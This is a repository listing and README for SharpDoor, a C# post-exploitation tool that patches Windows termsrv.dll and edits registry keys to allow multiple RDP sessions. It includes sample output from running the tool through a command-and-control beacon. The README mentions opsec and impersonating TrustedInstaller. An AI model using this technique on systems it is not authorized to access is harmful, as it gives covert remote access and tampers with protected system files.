https://github.com/infosecn1nja/SharpDoor

SharpDoor is alternative RDPWrap written in C# to allowed multiple RDP (Remote Desktop) sessions by patching termsrv.dll file.
https://github.com/infosecn1nja/SharpDoor

Last synced: about 2 months ago
JSON representation

SharpDoor is alternative RDPWrap written in C# to allowed multiple RDP (Remote Desktop) sessions by patching termsrv.dll file.

• Host: GitHub
• URL: https://github.com/infosecn1nja/SharpDoor
• Owner: infosecn1nja
• License: apache-2.0
• Created: 2019-09-29T02:24:07.000Z (over 5 years ago)
• Default Branch: master
• Last Pushed: 2019-09-30T16:11:24.000Z (over 5 years ago)
• Last Synced: 2024-11-13T04:52:07.153Z (2 months ago)
• Language: C#
• Size: 26.4 KB
• Stars: 306
• Watchers: 15
• Forks: 61
• Open Issues: 0
• Metadata Files:
  • Readme: README.md
  • License: LICENSE

Awesome Lists containing this project

• awesome-hacking-lists - infosecn1nja/SharpDoor - SharpDoor is alternative RDPWrap written in C# to allowed multiple RDP (Remote Desktop) sessions by patching termsrv.dll file. (C# #)

README

        
# SharpDoor

SharpDoor is alternative RDPWrap written in C# to allowed multiple RDP (Remote Desktop) sessions by patching termsrv.dll file, for opsec considerations SharpDoor still using cmd.exe to run sc services to impersonating as trustedinstaller in the future will be avoiding cmd.exe usage, currently only support for Windows 10.

Author - Rahmat Nurfauzi ([@infosecn1nja](https://twitter.com/infosecn1nja))

## Example

```

beacon> execute-assembly /root/Toolkits/SharpBinaries/SharpDoor.exe

[*] Tasked beacon to run .NET program: SharpDoor.exe

[+] host called home, sent: 115243 bytes

[+] received output:

   _____ _                      _____

  / ____| |                    |  __ \

 | (___ | |__   __ _ _ __ _ __ | |  | | ___   ___  _ __

  \___ \| '_ \ / _` | '__| '_ \| |  | |/ _ \ / _ \| '__|

  ____) | | | | (_| | |  | |_) | |__| | (_) | (_) | |

 |_____/|_| |_|\__,_|_|  | .__/|_____/ \___/ \___/|_|

                         | |

  v1.0.0                 |_|

Allow Multiple RDP (Remote Desktop) Sessions By Patching termsrv.dll File

[*] Termsrv.dll Version : 10.0.17763.1

[*] Stop termservice

[+] received output:

[*] Backup termsrv.dll to C:\Users\Public\termsrv.dll

[*] Attempting to patch termsrv.dll

Original File Hash : 24ff1f89f2ec3f5561c34810c8328726

Patched File Hash : 4cec28b4c00002245dffc8346be0cc11

[*] C:\Users\Public\termsrv.patch.dll was patched successfully

[*] Setting Registry Terminal Server\fSingleSessionPerUser to 0

[*] Setting Registry Terminal Server\TSAppAllowList\fDisabledAllowList to 1

[*] Start termservice

[*] Done

```